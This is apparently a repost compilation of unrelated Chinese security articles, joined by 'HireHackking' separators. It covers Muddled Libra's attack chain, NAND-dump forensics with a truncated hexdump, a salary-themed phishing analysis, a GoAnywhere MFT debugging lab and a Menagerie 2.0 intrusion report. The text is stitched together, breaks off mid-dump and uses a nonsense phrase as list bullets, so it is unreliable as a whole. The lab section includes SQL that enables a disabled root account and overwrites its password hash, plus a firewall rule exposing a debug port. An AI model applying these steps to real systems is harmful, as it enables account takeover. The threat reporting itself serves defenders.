攻擊鏈雖然每一起事件都是獨一無二的，但Unit 42的研究人員已經確定了戰術、技術和程序（TTP）方面的很過共性，可以將多起事件歸因於Muddled Libra。

1.png

攻擊鏈

偵察階段Muddled Libra對目標組織有著非常細緻的了解，包括員工名單、職務和手機號碼。在某些情況下，這些數據可能是在早期針對上游目標的攻擊行為中獲得的。

攻擊者還經常從非法數據代理那裡獲取信息包，例如現已倒閉的Genesis和Russian Markets。這些數據通常是從受感染的設備上收集的，包括企業和個人設備，使用的是像RedLine stealer這樣的惡意軟件。

隨著自帶設備（BYOD）政策的早期出現，以及混合工作解決方案的流行，公司數據和憑據被頻繁使用並緩存在個人設備上。分散IT資產的管理和保護為信息竊取惡意軟件創造了一個有利可圖的攻擊機會。

資源開發使用相似域名發起攻擊是Muddled Libra的經典標誌。這種策略是有效的，因為移動設備經常截斷SMS消息中的鏈接。

歸因於0ktapus活動的早期攻擊組織一直使用通過Porkbun或Namecheap註冊並託管在Digital Ocean（一家成立於2012年的總部設置在紐約的雲主機商家，採用KVM虛擬）基礎設施上的域名，這些域往往是短暫的，只在最初的訪問階段使用，然後很快被刪除。

Unit 42注意到攻擊者使用ktapus網絡釣魚工具包來獲取憑證。 Group-IB詳細記錄了這種多用途的工具，在地下組織中廣泛使用。它幾乎不需要什麼技能就可以安裝和配置，這使它成為高度針對性的欺騙攻擊的理想工具。

初始訪問在Unit 42可以確定初始訪問方法的所有事件中，都涉及詐騙或社會工程。在大多數事件中，攻擊者直接向目標員工的手機發送引誘信息，聲稱他們需要更新賬戶信息或重新驗證公司應用程序。消息中包含一個指向偽造公司域的鏈接，該域旨在模仿熟悉的登錄頁面。

持久性MuddledLibra特別專注於維護對目標環境的訪問。雖然攻擊者在攻擊期間使用免費或演示版的遠程監控和管理（RMM）工具是很常見的，但Muddled Libra通常安裝了六個或更多這樣的實用程序。他們這樣做是為了確保即使有一個被發現，他們也能保留一個進入環境的後門。

使用商業RMM工具尤其需要注意，因為這些工具是Muddled Libra正在濫用的合法程序。他們可以合法地出現在組織內，防御者應該權衡是完全阻止還是仔細監控他們。觀察到的工具包括Zoho Assist、AnyDesk、Splashtop、TeamViewer、ITarian、FleetDeck、ASG Remote Desktop、RustDesk和ManageEngine RMM。

這些工具本身都不是惡意的，並且經常用於許多企業網絡的日常管理。 Unit 42建議組織通過簽名者阻止任何不允許在企業內使用的RMM工具。

防禦規避Muddled Libra對各種安全控制及其熟悉，完美地避開了常見的防禦。

具體行為包括：

马云惹不起马云禁用防病毒和基於主機的防火牆；

马云惹不起马云試圖刪除防火牆配置文件；

马云惹不起马云繞過防御者；

马云惹不起马云停用或卸載EDR和其他監控產品；

攻擊者還重新啟用並使用了現有的Active Directory帳戶，以避免觸發公共安全信息和事件管理（SIEM）監控規則。他們還被觀察到在終端檢測和響應（EDR）管理控制台內操作以清除警報。

Muddled Libra在攻擊活動中很謹慎，一直使用商業虛擬專用網絡（VPN）服務來隱藏其地理位置，並試圖融入合法流量。在Unit 42研究人員調查的大多數事件中，Mullvad VPN是首選，但也觀察到許多其他供應商，如ExpressVPN、NordVPN、Ultrasurf、Easy VPN和ZenMate。

Unit 42的研究人員還觀察到了輪流使用住宅代理服務的情況。正如Brian Krebs在2021年報導的那樣，住宅代理服務通常將其代碼隱藏在瀏覽器擴展中，允許運營商將住宅連接出租給合法和惡意攻擊者。

憑據訪問一旦捕獲了用於初始訪問的憑據，攻擊者就會選擇其中一條路徑。在第一種情況下，他們繼續從他們控制的計算機進行身份驗證，並立即請求多因素身份驗證（MFA）代碼。在另一種情況下，他們隨後生成了一系列MFA提示，直到用戶接受其中一個，這種方法也稱為MFA轟炸。

在MFA轟炸失敗的情況下，攻擊者就會聯繫該組織的求助台，聲稱自己是受害者。然後謊稱他們的手機無法操作或放錯地方，並要求註冊一個新的、由攻擊者控制的MFA身份驗證設備。

Muddled Libra在社會工程方面的成功是值得注意的。在許多示例中，該組織通過電話與服務台和其他員工交流，實施攻擊活動。

在建立了立足點後，Muddled Libra迅速採取行動，提升訪問權限。本階段使用的標準憑證竊取工具包括Mimikatz、ProcDump、DCSync、Raccoon Stealer和LAPSToolkit。當該組織無法快速確定提升的憑據時，他們就會使用Impacket、MIT Kerberos Ticket Manager和NTLM編碼器/解碼器。

在一些事件中，Muddled Libra採取了不同尋常的步驟，使用專門的工具，使用MAGNET RAM Capture和Volatility直接搜索內存內容以查找憑據。由於這些都是Muddled Libra正在濫用的合法取證工具，防御者應該仔細考慮阻止它們的不利因素，包括安全團隊活動產生誤報警報的可能性。

這給防御者提出了一個挑戰，儘管用戶帳戶可能通過特權訪問管理受到保護，但終端通常具有緩存用於系統管理或運行服務的提升憑據。應注意確保特權憑據僅具有執行其預期功能所需的權限，並密切監控其是否偏離正常行為。

發現過程muddle Libra的發現方法在不同的示例中是一致的。在調查中，該組織使用了知名的合法滲透測試工具來繪製環境並確定感興趣的目標。他們的工具包包括SharpHound, ADRecon, AD Explorer, Angry IP Scanner, Angry Port Scanner和CIMplant。

事實證明，Muddled Libra還精通商業系統管理工具，如用於發現和自動化的ManageEngine、LANDESK和PDQ Inventory，虛擬環境中使用的VMware PowerCLI和RVTools。

防御者應警惕未經批准的網絡掃描和對多個系統的異常快速訪問或跨邏輯業務部門的訪問。

執行過程調查發現，Muddled Libra似乎主要對數據和憑據盜竊感興趣，我們很少看到遠程執行。當需要時，該組織使用Sysinternals PsExec或Impacket完成執行。捕獲的憑據或身份驗證哈希用於權限提升。

橫向活動對於橫向活動，Muddled Libra更喜歡使用來自受攻擊設備的遠程桌面協議（RDP）。這種方法有助於最大限度地減少日誌中可發現的外部網絡構件，這些構件可以提醒防御者並幫助調查人員進行追踪。

尋找目標數據Muddled Libra似乎非常了解企業數據管理。他們成功地在受害者設備上的各種常見數據存儲庫中找到敏感數據，包括結構化和非結構化數據存儲庫，比如：

马云惹不起马云Confluence；

马云惹不起马云Git；

马云惹不起马云Elastic；

马云惹不起马云Microsoft Office 365 suite (e.g. SharePoint, Outlook)；

马云惹不起马云Internal messaging platforms；

他們還從Zendesk和Jira等常見服務台應用程序中查找受害者環境中的數據。挖掘的數據包括進一步洩露的憑據，它們直接針對敏感和機密信息。

Unit 42的研究人員還觀察到了開源數據挖掘工具Snafler和本地工具在註冊中心、本地驅動器和網絡共享中搜索*password*和securestring等關鍵詞的情況。然後，使用WinRAR或PeaZip對洩露的數據進行分級和存檔。

防御者應定期在自己的環境中執行關鍵字搜索，以識別不正確存儲的數據和憑證。

盜取數據在一些情況下，Muddled Libra試圖建立反向代理shell或secure shell（SSH）隧道，用於命令和控製或盜取。 Muddled Libra還使用了常見的文件傳輸網站，如put[.]io、transfer[.]sh、wasabi[.]com或gofile[.]io來盜取數據，研究人員還觀察到Cyberduck作為文件傳輸代理。

緩解措施Muddled Libra是一個攻擊能力非常強的惡意軟件，對軟件自動化、業務流程外包、電信和技術行業的組織構成了巨大威脅。他們精通一系列安全規範，能夠在相對安全的環境中迅速執行以完成毀滅性的攻擊。

Muddled Libra並沒有任何技術上的創新，只是把目前已有的技術疊加在一起從而產生了很強的攻擊力。

建議組織：1.盡可能實現MFA和單點登錄（SSO），最好是快速身份在線（FIDO）。在我們調查的示例中，Muddled Libra最成功的是說服攻擊目標幫助他們繞過MFA。當他們無法做到這一點時，他們就會更換其他目標。

2.防御者還應考慮如何在多次MFA故障時最好地實施安全警報和帳戶鎖定。

3.實施員工安全意識培訓。 Muddled Libra通過電話和短信大力實施社會工程，包括通過電話和短信幫助台。

4.在發生攻擊的情況下，假設這個攻擊者知道現代IR戰術，考慮建立帶外響應機制。

5.確保證書是最新的，只在必要的時候和時間內授予訪問權限。

6.監控和管理對關鍵防禦和控制的訪問對於防禦熟練攻擊者至關重要。權利應僅限於每個工作職能所必需的內容。應使用Cortex XDR和Cortex XSIAM等身份威脅檢測和響應（ITDR）工具來監測異常行為。

7.防御者應該限制允許連接到網絡的匿名服務，最好是在防火牆上通過App-ID。

HireHackking

一、 簡介這篇研究論文將通過黑客的視角，詳細闡述如何操作NAND dump 以及如何獲取dump 文件中的所有文件。每一步驟以及所使用的方法均會細緻解析，並配以實例說明。本文主要關注的是物理NAND dump，這是從通用編程器中提取出的dump 文件。相對應地，從引導加載程序（如u-boot）中獲得的dump 文件被稱為邏輯NAND dump。

對於邏輯NAND dump，數據的正確性由Flash Translation Layer (FTL)負責維護。也就是說，FTL 會藉助Error Correcting Code (ECC)自動修復所有的位錯誤。然而，物理NAND dump 中的數據通常會攜帶ECC，這就需要我們自行推斷如何利用ECC 確保數據的準確性。如果數據中存在位錯誤，理應使用ECC 進行適當的糾錯。然而，推斷ECC 與數據如何相關聯並非易事。若無法確定ECC 和數據的關聯性，也就無法利用ECC 修復數據中的位錯誤。因此，必須對NAND dump 進行系統的深度分析，揭示ECC 和數據之間的密切關聯。在此情境下，盲目嘗試暴力破解並非明智之舉，但是如果能藉助深度分析的結果，盲目的暴力破解可以轉化為有目的性的暴力破解。這樣，獲取ECC 和數據之間密切關聯的可能性將得以最大化。

修復數據中的位錯誤並移除ECC 之後，NAND dump 就由物理形態轉化為邏輯形態，此時便可以開始對實際的固件圖像進行分析。作為論文的實際案例，我們將處理一個UBI 鏡像，並對UBI 鏡像的分析進行詳細的討論。根據從UBI 鏡像分析中得到的關鍵信息，我們提出了一個創新性的方法來恢復文件系統並提取文件系統內部承載的所有文件。需要特別注意的是，本論文討論的整個過程無法通過像binwalk 或unblob 這樣的自動化工具複製。此外，整個分析過程都會以手動、逐步的方式呈現，以確保所有步驟和概念都能夠得到清晰的解釋。現在，我們將不再糾結於理論討論，而是進入實際的NAND dump 分析環節，進行詳細的介紹。

二、 NAND 轉儲分析

首先，讓我們從一些基礎的概念開始探討。一個NAND 閃存包含許多稱為'頁面'的單元，它們都是固定的大小，並以一定數量的'頁面'組成一個'塊'。鑑於我們的樣本NAND dump 是從一個實際的NAND 芯片中獲取的，型號為MT29F2G08ABAEAWP，因此我們將以它為例，來介紹相關的硬件技術規範。

對於MT29F2G08ABAEAWP 這款芯片，一個'頁面'的大小是2112 字節，其中包括2048 字節的主數據和64 字節的額外數據。 64 個'頁面'組成一個'塊'，而2048 個這樣的'塊'構成了整個NAND 閃存的存儲空間，總計有2048*64=131072 個'頁面'。

對於每一個大小為2112 字節的'頁面'，前2048 字節用於數據存儲，剩餘的64 字節則作為備用區域，用於承載錯誤糾正代碼（Error Correcting Code, ECC）或某些供應商特定的元數據。在一些文獻中，這部分備用區域有時也被稱為Out Of Band（OOB）。

對於我們的樣本NAND dump，如果我們在十六進制模式下查看，會發現第一個'頁面'中，地址從0x0000 到0x07ff 的部分是數據區，地址從0x0800 到0x083f 的部分是備用區或OOB 區，具體示意如下。作為NAND 轉儲樣本的概述。

cawan%hexdump-C-n2112./MT29F2G08ABAEAWP@TSOP48.BIN

000000002054564e00020000a0ac0000ffffffff|TVN..|

0000001055aa55aa2e000000200200b000000001|U.U..|

00000020640200b0180000c0200200b018000001|d..|

00000030aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

00000040281800b04ad8dc53081800b014800000|(.J.S.|

00000050aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

00000060aa55aa5501000000001800b076040300|.U.U.v.|

00000070aa55aa5501000000041800b021000000|.U.U..|

00000080aa55aa5501000000041800b023000000|.U.U.#.|

00000090aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

000000a0aa55aa5501000000041800b027000000|.U.U.'.|

000000b0aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

000000c0aa55aa5501000000201800b000000000|.U.U..|

000000d0241800b0000000001c1800b000400000|$..@.|

000000e0181800b032030000101800b006000000|.2..|

000000f0041800b027000000aa55aa5501000000|.'.U.U.|

00000100aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

00000110041800b02b000000041800b02b000000|.+.+.|

00000120041800b02b000000181800b032020000|.+.2.|

000001301c1800b0814700001c1800b001440000|.G.D.|

00000140041800b020000000341800b020888800|.4.|

00000150aa55aa5501000000180200b008000000|.U.U..|

00000160603100b800800000a03100b800800000|1.1.|

000001702c0200b0000100002c0200b000010000|,.|

000001802c0200b0000100000000000000000000|,.|

00000190130000ea14f09fe510f09fe50cf09fe5|..|

000001a008f09fe504f09fe500f09fe504f01fe5|..|

000001b020030000785634127856341278563412|.xV4.xV4.xV4.|

000001c078563412785634127856341278563412|xV4.xV4.xV4.xV4.|

000001d000020000a0ac000080b50000a0ac0000|..|

000001e0dec0ad0b00000fe11f00c0e3d30080e3|..|

000001f000f029e1bcd09fe507d0cde30000a0e3|.)..|

00000200700500eb0040a0e10150a0e10260a0e1|p.@.P.|

0000021004d0a0e18c004fe2009046e0060050e1|.O.F.P.|

000002200600000a0610a0e15c301fe5032080e0|.\0.|

000002300006b0e80006a1e8020050e1fbffff3a|..P.|

0000024074009fe574109fe50020a0e3010050e1|t.t.P.|

000002500200002a002080e5040080e2faffffea|.*..|

0000026000009fe500f0a0e154060000a0ac0000|.T.|

00000270a0ac0000a0ac00000000a0e3170f07ee|..|

00000280170f08ee100f11ee230cc0e38700c0e3|.#.|

00000290020080e3010a80e3100f01ee0ec0a0e1|..|

000002a00a0000eb0ce0a0e10ef0a0e10000a0e1|..|

000002b0e8d01fe5feffffeb008000bca0ae0000|..|

000002c080b700000000a0e10000a0e10000a0e1|..|

000002d068009fe50010e0e3001080e500000fe1|h..|

000002e0c00080e300f021e154009fe554109fe5|.T.T.|

000002f0001080e550009fe550109fe5001080e5|.P.P.|

000003004c009fe50514a0e3001080e544009fe5|L..D.|

0000031044109fe5001080e5032aa0e3012052e2|D.*.R.|

00000320fdffff1a20009fe530109fe5001080e5|.0.|

00000330012ba0e3012052e2fdffff1a0ef0a0e1|.+.R..|

00000340242100b8041000b084000440040200b0|$!@.|

00000350ff0f0000080200b00c0200b0244f0000|..$O.|

00000360fc0f0000000000000000000000000000|..|

00000370000051e31f00000a0130a0e30020a0e3|.Q.0.|

00000380010050e11900003a010251e300005131|.P.Q.Q1|

000003900112a0310332a031faffff3a020151e3|.1.2.1.Q.|

000003a0000051318110a0318330a031faffff3a|.Q1.1.0.1.|

000003b0010050e10100402003208221a10050e1|.P.@.P.|

000003c0a1004020a3208221210150e121014020|.@.P.@|

000003d023218221a10150e1a1014020a3218221|#!P.@.|

000003e0000050e32332b0112112a011efffff1a|.P.#2..|

000003f00200a0e10ef0a0e104e02de5c91c00eb|..-.|

000004000000a0e30080bde803502de9d7ffffeb|..P-.|

000004100650bde8900203e0031041e00ef0a0e1|.P.A.|

0000042003502de9090000eb0650bde8900203e0|.P-.P.|

00000430031041e00ef0a0e10000a0e10000a0e1|.A..|

000004400000a0e10000a0e10000a0e10000a0e1|..|

00000450000051e301c020e04200000a00106142|.Q.B.aB|

00000460012051e22700000a0030b0e100306042|.Q.'.0.0B|

00000470010053e12600009a020011e12800000a|.S.(.|

000004800e0211e38111a0010820a0030120a013|..|

00000490010251e3030051310112a0310222a031|.Q.Q1.1.'.1|

000004a0faffff3a020151e3030051318110a031|.Q.Q1.1|

000004b08220a031faffff3a0000a0e3010053e1|.1..S.|

000004c00130432002008021a10053e1a1304320|.0C.S.0C|

000004d0a2008021210153e12131432022018021|.S.1C'.|

000004e0a10153e1a1314320a2018021000053e3|.S.1C.S.|

000004f02222b0112112a011efffff1a00005ce3|''..\.|

00000500000060420ef0a0e100003ce100006042|.B..B|

000005100ef0a0e10000a033cc0fa00101008003|.3.|

000005200ef0a0e1010851e32118a0211020a023|.Q.#|

000005300020a033010c51e32114a02108208222|.3.Q.'|

00000540100051e32112a02104208222040051e3|.Q.'.Q.|

0000055003208282a120829000005ce33302a0e1|.\.3.|

00000560000060420ef0a0e104e02de56d1c00eb|.B.-.m.|

000005700000a0e304f09de40000a0e10000a0e1|..|

000005800000a0e10000a0e10000a0e10000a0e1|..|

00000590203052e220c062e23002a0413103a051|0R.b.0.A1.Q|

000005a0110c80413112a0e10ef0a0e1203052e2|.A1.0R.|

000005b020c062e21112a0411013a051301c8141|.b.A.Q0.A|

000005c01002a0e10ef0a0e1203052e220c062e2|.0R.b.|

000005d03002a0415103a051110c80415112a0e1|0.AQ.Q.AQ.|

000005e00ef0a0e12dde4de20040a0e36c319fe5|.-.M.@.l1.|

000005f00d00a0e100308de504308de51c408de5|.0.0.@.|

00000600bcd28de530408de550408de5d10100eb|.0@.P@.|

000006101c309de5040053e10200000a0410a0e1|.0.S..|

000006208a0f8de233ff2fe18a0f8de20110a0e3|.3./..|

00000630ca1a00eb000050e34600001a700400eb|.P.F.p.|

0000064038429de53c529de50400a0e10510a0e1|8B.R..|

0000065046ffffeb0410a0e10ea6a0e300b0a0e1|F..|

000006600a08a0e341ffffeb0410a0e10070a0e1|.A.p.|

00000670ec009fe53dffffeb0410a0e10090a0e1|.=..|

000006800a08a0e35fffffeb0100a0e10

HireHackking

概要：“薪資調整”類釣魚郵件激增本週（2023年7月3日~7日），網際思安麥賽安全實驗室(MailSec Lab)觀察到大量新增的“薪資調整”類釣魚郵件攻擊，並做了詳細的風險特徵、攻擊溯源等技術研究與分析，請各企事業單位及時做好相關的防護。

熱點描述：關於此批“薪資調整”類釣魚郵件的典型樣本郵件，如下圖所示：

圖1. 關於薪資調整通知的釣魚郵件

1.jpg

該郵件通過偽造“薪資調整”通知，誘導員工點擊郵件正文中URL超鏈接，從而訪問精心構造的釣魚網站。當員工輸入其郵箱帳號和密碼後，攻擊者將獲得該私人賬戶信息，並可利用該信息成功登陸員工的私人郵件賬戶。

圖2. 點擊超鏈接後訪問的釣魚網站

2.jpg

圖3. 記錄帳號信息，並模擬系統繁忙

3.jpg

專家分析：MailSec Lab的技術專家從源IP、URL鏈接、郵件頭、郵件內容等方面，對此郵件的風險特徵進行了詳盡的技術分析。

l 郵件頭分析：X-Mailer字段此類風險郵件的頭部包含的“X-Mailer”字段值為“Supmailer 38.1.2”。

圖4. 郵件頭部X-Mailer字段展示

4.jpg

X-Mailer字段表明了攻擊者通過Supmailer軟件的38.1.2版本來發送釣魚郵件。 Supmailer是由一家德國公司研發的，用於批量創建和發送廣告郵件的軟件。該軟件的官方網站是“https://int.supermailer.de/”。該文件頭字段表明郵件發送者通過使用Supmailer軟件群發釣魚郵件，而非正常使用Outlook, Foxmail等郵件客戶端發送郵件。

圖5. Supmailer官方網站

5.jpg

圖6. Supmailer廣告郵件群發軟件界面截圖

6.jpg

l 郵件頭分析：源IP字段通過對郵件頭字段的分析可知，在該釣魚郵件到達公司之前，分別先後經過了221.235.220.134和218.70.153.165兩跳IP地址。

圖7. 郵件頭部源IP字段展示

7.jpg

查詢覆蓋全球的91個RBL數據源，檢測結果如下。兩個外部IP地址被列入了多達10多個的RBL黑名單。

序列號URL/IP被列為黑名單的RBL名稱1

218.70.153.165

Anonmails DNSBL

2

BARRACUDA

3

Sender Score Reputation Network

4

SORBS SPAM

5

Spamhaus ZEN

6

UCEPROTECTL2

7

TRUNCATE

8

UCEPROTECTL3

9

221.235.220.134

RATS NoPtr

10

Spamhaus ZEN

11

UCEPROTECTL2

12

UCEPROTECTL3

l URL超鏈接分析對URL鏈接的Whois信息進行查詢。該網站於1個多月前建立（2023年5月22日），並且服務器位於香港，因此不用進行公安註冊。此類新建設且未進行公安部註冊的網站大概率被用於發起黑客攻擊。

圖8 郵件中URL鏈接的Whois信息

8.jpg

對該IP進行域名反查，可得知該IP地址下共服務了42個域名，其中有近20個域名被威脅情報識別為惡意域名。由此可見，該IP下的服務器被攻擊者用於批量建設釣魚網站。

圖9. 同一個IP下有近20個惡意域名

9.jpg

並且該URL超鏈接的域名被知名威脅情報也列為惡意域名：

圖10. 該域名被威脅情報列為惡意域名

10.jpg

郵件正文中URL鏈接格式如下：https://mail-al.cn/#contact@

HireHackking

0x00 前言本文記錄從零開始搭建GoAnywhere Managed File Transfer漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容：

GoAnywhere Managed File Transfer安裝

GoAnywhere Managed File Transfer漏洞調試環境配置

數據庫操作

0x02 GoAnywhere Managed File Transfer安裝參考資料：https://static.fortra.com/goanywhere/pdfs/guides/ga6_8_6_installation_guide.pdf

下載地址：https://www.goanywhere.com/products/goanywhere-free/download

需要註冊賬號獲得license

GoAnywhere Managed File Transfer可以分別安裝在Windows和Linux操作系統

Windows系統下默認的Web路徑：C:\Program Files\HelpSystems\GoAnywhere\tomcat\webapps\ROOT

Linux系統下默認的Web路徑：/usr/local/HelpSystems/GoAnywhere/tomcat/webapps/ROOT

1.開啟遠程調試功能通過開啟Tomcat調試功能來實現，開啟Tomcat調試功能的方法如下：

切換至bin目錄

執行命令:catalina jpda start

Tomcat調試功能開啟後默認監聽本地8000端口

對於GoAnywhere Managed File Transfer，開啟調試功能的方法如下：

(1)Windows下調試

修改文件C:\Program Files\HelpSystems\GoAnywhere\tomcat\bin\GoAnywhere.exe的文件屬性

雙擊文件C:\Program Files\HelpSystems\GoAnywhere\tomcat\bin\GoAnywhere.exe，切換到Java標籤頁，在Java Optinos添加：-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8090，如下圖

重啟服務GoAnywhere

(2)Linux調試

修改文件：/opt/HelpSystems/GoAnywhere/tomcat/bin/start_tomcat.sh，將exec '$PRGDIR'/'$EXECUTABLE' start '$@'修改為exec '$PRGDIR'/'$EXECUTABLE' jpda start '$@'

修改文件:/opt/HelpSystems/GoAnywhere/tomcat/bin/goanywhere_catalina.sh，將JPDA_ADDRESS='localhost:8000'修改為JPDA_ADDRESS='*:8090'

注：

Tomcat默認的調試端口8000同GoAnywhere Managed File Transfer的Web端口衝突，所以這裡選擇修改Tomcat默認的調試端口為8090

打開防火牆允許外部訪問8090端口：iptables -I INPUT -p tcp --dport 8090 -j ACCEPT

啟動GoAnywhere進程：/opt/HelpSystems/GoAnywhere/goanywhere.sh start

0x03 數據庫操作GoAnywhere Managed File Transfer使用Apache Derby數據庫

Windows下默認數據庫存儲位置為：C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere

Linux下默認數據庫存儲位置為：/opt/HelpSystems/GoAnywhere/userdata/database/goanywhere/

數據庫操作的實現細節可從lib文件夾下的ga_classes.jar獲得

從中我們可以得到Web用戶口令加密的實現細節，對應位置：C:\Program Files\HelpSystems\GoAnywhere\lib\ga_classes.jar!\com\linoma\ga\ui\admin\action\user\ChangeUserPasswordAction.class

提取出的Java實現代碼如下：

1.png

1.讀取Derby數據庫(1)命令行實現

使用Apache Derby，下載地址：https://archive.apache.org/dist/db/derby/db-derby-10.14.2.0/db-derby-10.14.2.0-bin.zip

運行bin目錄下的ij.bat

連接數據庫：connect 'jdbc:derby:C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere;';

查詢用戶配置：SELECT * FROM DPA_USER;

(2)界面化實現

使用DBSchema，下載地址：https://dbschema.com/download.html

啟動DBSchema後，選擇連接Derby數據庫，JDBC Driver選擇derbytools.jar org.apache.derby.jdbc.EmbeddedDriver，Folder選擇C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere

查詢用戶數據表，如下圖

下载.png

可以看到默認用戶有以下三個：

Administrator，未啟用

root，未啟用

admin，默認用戶

2.修改數據庫GoAnywhere Managed File Transfer的Derby數據庫使用了內嵌模式，其他應用程序不可訪問，所以有以下兩種修改數據的方法：

(1)GoAnywhere Managed File Transfer處於運行狀態

可以通過寫入jsp文件實現數據庫的修改

(2)GoAnywhere Managed File Transfer處於關閉狀態

可以選擇Apache Derby或DBSchema打開數據庫文件夾，直接進行修改

修改數據庫的命令示例：

啟用root用戶：UPDATE APP.DPA_USER SET ENABLED='1' WHERE USER_NAME='root';

設置root用戶口令：UPDATE APP.DPA_USER SET USER_PASS='$5$mpoe6zI4B6+LHRMdbFKr8g==$RnAILbYe9KDauKE3wXTFVvlXQNZeM4Z2c7x1aEtME/U=' WHERE USER_NAME='root';

0x04 小結在我們搭建好GoAnywhere Managed File Transfer漏洞調試環境後，接下來就可以著手對漏洞進行學習。

HireHackking

微信截图_20230710001005.png

Unit 42的研究人員發現，從2020年末到2022年末，發生了一系列針對美國和歐盟幾家網絡託管和IT提供商的攻擊活動，研究人員將其編號為CL-CRI-0021，並認為其幕後攻擊者是Menagerie。

攻擊者在被劫持的設備上部署挖礦程序，以盜竊受攻擊服務器的資源。他們通過大規模部署web shell，來進一步增加持強起持續訪問能力，並進一步訪問受攻擊網站的內部資源。這樣一來，攻擊者就有可能把被劫持的合法網站（由目標網絡託管和IT提供商託管）大規模地變成指揮和控制(C2)服務器，從而影響數千個網頁。因此，攻擊者可以從具有良好聲譽的合法網站運行他們的C2活動，這些網站不一定被安全解決方案標記為惡意。這可能會對被濫用的合法網站產生巨大的影響，在這種情況下，這些網站會在不知情的情況下託管惡意內容和隱藏攻擊活動。此類攻擊活動可能對網站所有者或網絡託管公司造成負面影響。

在受害者的網絡中，攻擊者嘗試了多種技術來逃避各種檢測。他們還繼續執行有效負載，重新部署和重新運行以前被阻止的工具，或者使用其他類似的工具。總之，攻擊者試圖不用已知的惡意軟件，通過引入定制工具和依賴公開可用的合法工具來躲避檢測。

根據研究人員在這次攻擊中觀察到的戰術、技術和程序(TTP)，之前被稱為Menagerie的攻擊者實施了上述攻擊，因此本文將其稱之為“Menagerie2.0”。

據澳大利亞網絡安全中心報導，該攻擊者至少從2018年就開始活躍，目標是澳大利亞的網絡託管公司。

初始訪問和持久化“Menagerie2.0”活動是在2020年底首次發現的，目標是美國和歐盟的公司。在此活動中，攻擊者通過利用易受攻擊的web應用程序和IIS服務器，並在這些受攻擊的服務器上部署不同的web shell，獲得了對目標設備的訪問權限。

在活動的web服務器上部署web shell允許攻擊者劫持合法網站。 webshell被放置在這些託管網站的C:\[hosted websites on the server path]\wwwroot\example.com\webshell.aspx文件夾中。

這些操作還允許將來從受害者的網絡外部公開訪問，這可以讓這些網站變成攻擊者未來的C2服務器。研究人員還觀察到同樣的web shell,即xn.aspx，目標是澳大利亞的網絡主機公司。

在Manic Menagerie 2.0中部署web shell後，攻擊者開始部署挖礦程序。這樣做很可能是為了濫用受損服務器強大的計算資源，通過挖礦獲取目標的錢財。

2021-2022年期間，在公開披露多個Microsoft Exchange Server漏洞後，攻擊者試圖在一些目標中利用以下漏洞：

CVE-2021-26855、CVE-2022-41040:（ProxyNotShell）Exchange Server SSRF漏洞；

CVE-2021-34473：ProxyShell漏洞之一，Exchange Server遠程代碼執行漏洞；

CVE-2021-33766（ProxyToken）：允許攻擊者修改任意用戶的郵箱配置；

因此，除了IIS服務器中的漏洞和環境中易受攻擊的web應用程序之外，前面提到的漏洞還為攻擊者提供了另一個滲透和持久性載體。

偵察功能和權限升級從2020年底開始，參與Menagerie 2.0活動的攻擊者開始定期嘗試執行本地權限升級，以將自己的用戶添加到IIS服務器中的管理員組中，以進一步提升他們的攻擊能力。當一個工具失敗時，他們會嘗試用另一個具有類似功能的工具。

攻擊者使用了一個名為RunasCs的runas.exe.NET封裝器。此公開可用的工具啟用了原始runas.exe實用程序所缺乏的擴展功能，例如通過使用用戶憑據明文執行進程。

觀察到攻擊者試圖通過在易受攻擊的web應用程序下運行，在受攻擊的環境中執行進一步的網絡偵察。然後，他們試圖通過運行au.exe來添加自己的用戶，au.exe是“add user”的縮寫。該文件必須由已提升的用戶運行。然後，他們通過運行net命令來確保他們的用戶名存在。

他們對用戶名iis_user和iis_users的使用是值得注意的，因為後者最初可能看起來是一個拼寫錯誤。

1.png

au.exe創建iis_user用戶並為其生成密碼

前面提到的au.exe是一個攻擊者試圖多次運行的工具，它與不同的PoC本地權限提升工具鏈接在一起，如下圖所示。

2.png

試圖在易受攻擊的web應用程序下執行RunasCs和其他命令

可以看到攻擊者使用多個工具來實現相同的權限升級，如上圖所示，64位版本的PrintSpoofer就是其中一個工具。這個公共工具被攻擊者用來提升au.exe，否則它就不會添加它想要添加的用戶。

fork炸彈（fork bomb）和更多本地權限升級據觀察，攻擊者利用以下漏洞，試圖使用多個公開可用的工具升級本地權限（LPE）：

CVE-2018-8120

CVE-2019-0623

CVE-2019-0803

CVE-2019-1458

研究人員在Menagerie 2.0中觀察到的另一個有趣的執行是svchost.exefork炸彈。 ACSC關於Menagerie活動的報告也提到了這種類型的拒絕服務(DoS)工具的存在。

這個fork炸彈的代碼非常簡單，因為它在一個無限循環中運行，會打開越來越多程序，直到設備耗盡內存。此活動旨在使設備崩潰並強制重新啟動。這允許需要重新啟動才能開始的可執行文件的持久性機制。

3.png

fork炸彈二進製文件中的無限循環代碼片段

dllnc.dll：運行有效負載和添加用戶工具研究人員在Menagerie 2.0活動中觀察到的另一個名為dllnc的工具有兩個主要功能。一個是加載攻擊者的一些可執行文件和批處理文件，另一個是作為另一個工具，用於將攻擊者的用戶添加到管理員組。

它包含一個指示PDB路徑：F:\upfile\3389\opents\dlladduser\x64\Release\dllnc.pdb，截至2023年5月中旬，其在VirusTotal中沒有產生任何其他結果。這表明，這是針對特定目標的自定義工具。

加載程序代碼段試圖加載一些它認為已經在攻擊者路徑中的工具(如圖4所示)，因為沒有檢查它們是否實際存在。在這樣做的同時，它考慮了幾種可能的硬編碼路徑，其中大多數都出現在這次攻擊活動中。

4.1.png

4.2.png

攻擊者工具的硬編碼路徑，如dllnc.dll中所示

然後，該工具刪除當前的iis_user用戶，然後重新添加它，這次是使用硬編碼的密碼。同樣，這種行為與ACSC關於原始瘋狂Menagerie運動的報告有關。該報告中也提到了相對ID（RID）劫持工具的一個舊變體（如圖5所示），類似於這種行為。

5.png

RID劫持工具

這兩種變體中的密碼有著明顯的、非常相似的地方，因為它們都使用xman前綴和類似的後綴。

6.png

用戶iis_user及其硬編碼密碼

